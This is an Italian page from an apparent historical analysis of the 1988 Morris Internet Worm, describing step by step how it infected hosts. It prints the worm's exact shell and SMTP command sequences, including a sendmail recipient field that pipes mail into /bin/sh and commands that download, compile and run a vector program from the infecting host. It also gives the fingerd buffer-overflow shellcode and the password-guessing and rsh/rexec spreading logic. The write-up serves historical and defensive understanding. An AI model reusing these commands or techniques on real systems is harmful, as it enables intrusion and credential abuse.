Successivo: Analisi della struttura di
Su: Worm: il verme di
Precedente: Introduzione
Questa sezione contiene una descrizione ad alto livello di come il Worm
funziona. La descrizione in questa sezione presuppone che il lettore abbia
familiarità con i comandi standard di UNIX e qualche volta anche con le
caratteristiche di rete di UNIX.
Figura 1: Struttura del motore di attacco
Il Worm consiste di due parti: un programma principale, ed un programma di avvio
o vettore
. Cominceremo la descrizione dal punto in cui un host sta per essere
infettato. A questo punto, un Worm che gira su di un'altra macchina può:
o aver avuto successo nello stabilire una shell sul nuovo host ed essersi connesso
di nuovo alla macchina infettante attraverso una connessione TCP [Com88],
oppure essersi connesso alla porta SMTP [Pos82] e stare trasmettendo delle istruzioni al
programma sendmail.
L'infezione procedeva nel seguente modo:
- Veniva stabilito un socket sulla macchina infettante per connettersi al
programma vettore (per esempio il socket numero 32341). Da un numero casuale
veniva costruita una stringa di (challenge) sfida (per esempio 8712440).
Un altro numero casuale veniva usato per costruire un nome di file base
(per esempio 14481910).
- Il programma vettore veniva installato ed eseguito usando uno dei due
metodi seguenti:
- 2a)
- Attraverso una connessione TCP ad una shell, il Worm mandava i
seguenti comandi (le due linee che cominciano con cc venivano
mandate su di una singola linea):
PATH=/bin:/usr/bin:/usr/ucb
cd /usr/tmp
echo gorch49; sed '/int zz/q' > x14481910.c;echo gorch50
[testo del programma vettore incluso nell'Appendice B]
int zz;
cc -o x14481910 x14481910.c;./x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c;echo DONE
Poi aspettava la stringa DONE per segnalare che il programma vettore
stava girando.
- 2b)
- Usando una connessione SMTP, trasmetteva (le due linee che cominciano
con cc venivano mandate su di una singola linea):
debug
mail from: </dev/null>
rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0">
data
cd /usr/tmp
cat > x14481910.c <<'EOF'
[testo del programma vettore incluso nell'Appendice B]
EOF
cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c
.
quit
Il Worm infettante restava sulla porta designata fino a 2 minuti
in attesa che il vettore inviato lo ricontattasse.
- Il programma vettore una volta connesso al Worm server, inviava la stringa
di sfida (challenge string), e trasferiva tre file: una versione binaria
del Worm per Sun 3, una verione binaria per VAX, ed il codice sorgente del
programma vettore. Dopo che i file erano stati copiati, il programma vettore
diventava una shell (attraverso la chiamata execl) con l'input e l'output
connessi al Worm server.
- Il Worm server inviava i seguenti comandi alla shell connessa
PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x14481910
else
P=sh
fi
Poi, per ogni file binario trasferito in precedenza (solo due in questo
caso, sebbene il codice sia scritto per permetterne di più), inviava
la seguente sequenza di comandi:
cc -o $P x14481910,sun3.o
./$P -p $$ x14481910,sun3.o x14481910,vax.o x14481910,l1.c
rm -f $P
Il comando rm aveva successo solo se la versione linkata del Worm falliva
l'esecuzione. Se il server determinava che l'host fosse stato infettato,
allora chiudeva la connessione, altrimenti, provava con l'altro file
binario. Dopo aver provato con ambedue i file, dava dei comandi rm
per cancellare i file oggetto ed eliminare ogni traccia del tentativo di
infezione avvenuto. - Il nuovo Worm sull'host infettato provvedeva a nascondere se stesso
oscurando il suo vettore degli argomenti, cancellando la versione binaria
di se stesso, e uccidendo il suo processo padre (l'argomento $$ nell'invocazione del
punto 4). Poi leggeva in memoria i file binari del Worm, crittografandoli
dopo averli letti, e cancellandoli dal disco.
- In seguito, il nuovo Worm raccoglieva informazioni sulle interfacce di
rete e sugli host che erano connessi alla macchina locale. Costruiva delle
liste con queste informazioni in memoria, compreso informazioni sui nomi canonici
[Moc87] e sui nomi e indirizzi alternativi delle macchine.
Effettuava tali raccolte anche attraverso chiamate ioctl dirette,
e lanciando il programma netstat con vari argomenti. Leggeva anche
in vari file di sistema cercando nomi di host da aggiungere al
suo database in memoria.
- Mischiava la lista così costruita di host, e poi iniziava ad infettare alcuni
di questi host. Per le reti connesse direttamente, aveva creato una lista
di possibili indirizzi numerici ed iniziava ad infettare quegli host se
esistevano. A seconda del tipo di host (gateway o rete locale), il Worm
tentava di stabilire una connessione sulle porte telnet
o rexec
per
determinarne la raggiungibilità prima di provare uno dei metodi di
infezione. - I tentativi di infezione procedevano su una delle seguenti strade: rsh [Tho83],
fingerd [Har77], o sendmail [All83].
- 8a)
- L'attacco via rsh veniva tentato cercando di generare una shell
remota invocando (in ordine di tentativo) /usr/ucb/rsh,
/usr/bin/rsh, e /bin/rsh. Se si aveva successo, l'host veniva infettato
come nei passi 1 e 2a, visti in precedenza.
- 8b)
- L'attaco attraverso il finger daemon era leggermente più astuto.
Veniva stabilita una connessione al daemon di finger sul server
remoto e una stringa appositamente costruita di 536 byte veniva
passata al daemon remoto, mandando in overflow il buffer di input [Col88]
e sovrascrivendo parti dello stack. Per le versioni standard di BSD
che girano su computer VAX, l'overflow risultava nello stack frame
di ritorno della routine main, in modo che l'indirizzo di ritorno
dello stack frame puntava nel buffer dello stack. Le istruzioni
che venivano scritte nello stack in quella locazione erano:
Istruzioni Commenti
pushl $68732f push '/sh<NUL>'
pushl $6e69622f push '/bin'
movl sp, r10 save address of start of string
pushl $0 push 0 (arg 3 to execve)
pushl $0 push 0 (arg 2 to execve)
pushl r10 push string addr (arg 1 to execve)
pushl $3 push argument count
movl sp,ap set argument pointer
chmk $3b do "execve" kernel call
Per cui, il codice eseguito quando la routine main cercava
di ritornare era:
execve("/bin/sh",0,0)
Sui VAX, questo portava come conseguenza che il Worm era
connesso ad una shell remota attraverso una connessione TCP.
Il Worm procedeva ad infettare l'host come già visto nei passi
1 e 2a. Sulle SUN, portava semplicemente ad un file di core
visto che tale attacco non funzionava per le versioni di fingerd di SUN.
- 8c)
- Il Worm poi provava ad infettare un host remoto stabilendo una
connessione sulla porta SMTP e spediva il codice di infezione,
come già visto in precedenza nel punto 2b.
Non venivano provati tutti i passi. Appena un metodo aveva successo, l'entrata
dell'host nella lista interna era marcata, marcando l'host come infettato e non venivano
provati altri metodi. - A questo punto, il Worm entrava in una macchina a stati finiti composta
da cinque stati. Ciascun stato era eseguito per breve periodo di tempo, poi il
programma ritornava di nuovo al passo 7 (cercando di penetrare in un host
attraverso sendmail, finger, o rsh). I primi quattro stati (dei cinque)
cercavano di penetrare nelle informazioni di account di un utente della
macchina locale. Il quinto stato era lo stato finale, e veniva eseguito
dopo che erano stati effettuati tutti i tentativi di rompere le password
degli utenti. Nel quinto stato, il Worm ciclava all'infinito cercando
di infettare gli host presenti nelle sue tavole locali e marcati come
non ancora infettati. I primi quattro stati erano i seguenti: (vedi figura 1)
- 9a)
- Il Worm leggeva nei file /etc/hosts.equiv e /.rhosts per cercare i nomi
degli host equivalenti [Tho83]. Tali host venivano marcati come equivalenti nella
tavola interna degli host (in memoria). Dopo, il Worm leggeva il file
/etc/passwd in una struttura dati interna. Mentre stava facendo ciò,
esaminava anche il file .forward nella home directory di ciscun utente
ed includeva gli eventuali host trovati nella sua lista interna di
host da provare. Stranamente, non faceva un controllo simile per i
file .rhosts di ciascun utente.
- 9b)
- Il Worm cercava di rompere la password di un utente usando delle scelte
semplici. Per prima cosa controllava il caso banale in cui la password
non era presente. Poi, come password usava il nome di account e il campo
GECOS. Supponendo che un utente abbia un'entrata nel file delle
password di questo tipo:
upg:abcdefghijklm:100:5:Nello & Gerardo:/home/staff/upg:/bin/tcsh
le parole provate come password potenziali potevano essere upg,
upgupg, Nello, Gerardo, nello, gerardo, e gpu.
Da test effettuati su alcuni sistemi [GraMor84] si vede che password
di questo tipo vengono scelte dal 30% degli utenti.
Il passo 10 di questa sezione descrive cosa fa il Worm se si indovina
una password.
- 9c)
- Il terzo stadio nel processo di rompere la password di un utente era
quello di provare usando un dizionario interno composto di 432 parole,
scegliendo a caso un account. Anche qui se si indovinava una password si
procedeva come al passo 10.
- 9d)
- Si entrava nel quarto stadio solo se tutti gli altri tentativi
fallivano. Per ogni parola nel file /usr/dict/words, il Worm tentava la
ricerca di una eventuale password. In più se la parola nel dizionario
cominciava con una maiuscola, tale lettera veniva convertita in minuscolo
e veniva testata anche la nuova parola.
- Quando per un account era stata rotta una password, il Worm tentava di
penetrare nelle macchine remote dove lo stesso utente aveva un account.
A questo punto il Worm scandiva i file .forward e .rhosts alla ricerca dei
nomi [Moc87] degli host remoti sui quali si supponeva che l'utente locale avesse
un'altro account. Poi provava con due tipi di attacchi:
- 10a)
- Come prima cosa cercava di creare una shell remota usando
il servizio rexec. Il tentativo veniva fatto tentando il nome
dell'account presente nei file .forward e .rhosts e la password
dell'utente sull'host locale. Tutto ciò sfruttando il fatto che gli
utenti usano spesso la stessa password per il loro account su più
macchine.
- 10b)
- Effettuava una rexec all'host corrente (usando il nome
di account e la password locali) e tentava un comando rsh all'host
remoto usando il nome di account preso dal file. Questo attacco aveva
successo in tutti quei casi in cui la macchina remota aveva il file
/etc/hosts.equiv o l'utente aveva un file .rhosts che permetteva
l'esecuzione remota senza password.
Se la shell remota veniva creata in uno di questi due modi, allora
l'attacco continuava come ai passi 1 e 2a visti in precedenza. Non
veniva fatto nessun altro uso delle password degli utenti che erano
state rotte.
Attraverso l'esecuzione del loop principale, il Worm controllava la
presenza di altri Worm che giravano sulla stessa macchina. Per fare questo il
Worm cercava di connettersi ad un altro Worm su di un predeterminato socket
TCP locale
. Se tale connessione
aveva successo, un Worm settava (a caso) la sua variabile interna pleasequit
a 1, in modo da causarne la morte dopo avergli fatto raggiungere la parte
interna del terzo stadio (9c). Questo ritardo spiegava in parte il motivo per cui
molti sistemi avevano copie multiple del Worm che giravano nello stesso momento.
Un Worm su sette diventava immortale invece di controllare la presenza di
altri Worm sul sistema locale. Ciò veniva fatto probabilmente per scavalcare
eventuali tentativi di vaccinare un sistema facendo girare un processo
fittizio che simulasse la presenza del Worm in attesa su di una connessione TCP
sulla porta predefinita. Tutto questo contribuiva anche ad aumentare il carico
della macchina una volta infettata.
Il Worm cercava di inviare un pacchetto UDP all'host ernie.berkeley.edu
approssimativamente una volta ogni 15 infezioni
. Il codice per fare ciò era sbagliato, per cui, nessuna
informazione veniva inviata. Lo scopo di tale informazione eventualmente inviata
non è noto, ma si pensa che l'autore del Worm avesse voluto monitorare la
diffusione del Worm dall'host ernie (eventualmente rompendo un account su
quella macchina) con un programma che testasse l'invio di pacchetti UDP su
tale porta. In ogni caso a Berkeley non sono state trovate tracce di un
eventuale programma, e quindi si pensa che tutto ciò sia stato fatto solo
per far ricadere eventuali falsi sospetti sul personale di Berkeley.
Il Worm cercava anche di forkare se stesso ad intervalli regolari e di
killare il suo processo padre. Lo scopo di ciò era duplice. Per primo, siccome il Worm
cambiava ripetutamente il suo process id non avrebbe mai accumulato un
CPU Time eccessivo da poter essere notato dagli strumenti classici di
system administration. In secondo luogo, i processi che stanno girando da
molto tempo su di un sistema vengono abbassati di priorità dallo scheduler
del sistema operativo. Effettuando una fork il nuovo processo riguadagnerà
nuovamente una priorità di scheduling normale [BSD88].
Questo meccanismo non funzionava correttamente, ed infatti, sono state notate
istanze del Worm che avevano accumulato più di 600 secondi di CPU Time.
Se il Worm girava per più di 12 ore, allora scaricava dalla sua lista
host di tutti gli host marcati come immuni o come già infettati. Il modo
in cui gli host venivano aggiunti a questa lista portava come conseguenza che
un Worm poteva reinfettare una stessa macchina ogni 12 ore.
Successivo: Analisi della struttura di
Su: Worm: il verme di
Precedente: Introduzione
Aniello Castiglione e Gerardo Maiorano < anicas,germai@zoo.diaedu.unisa.it >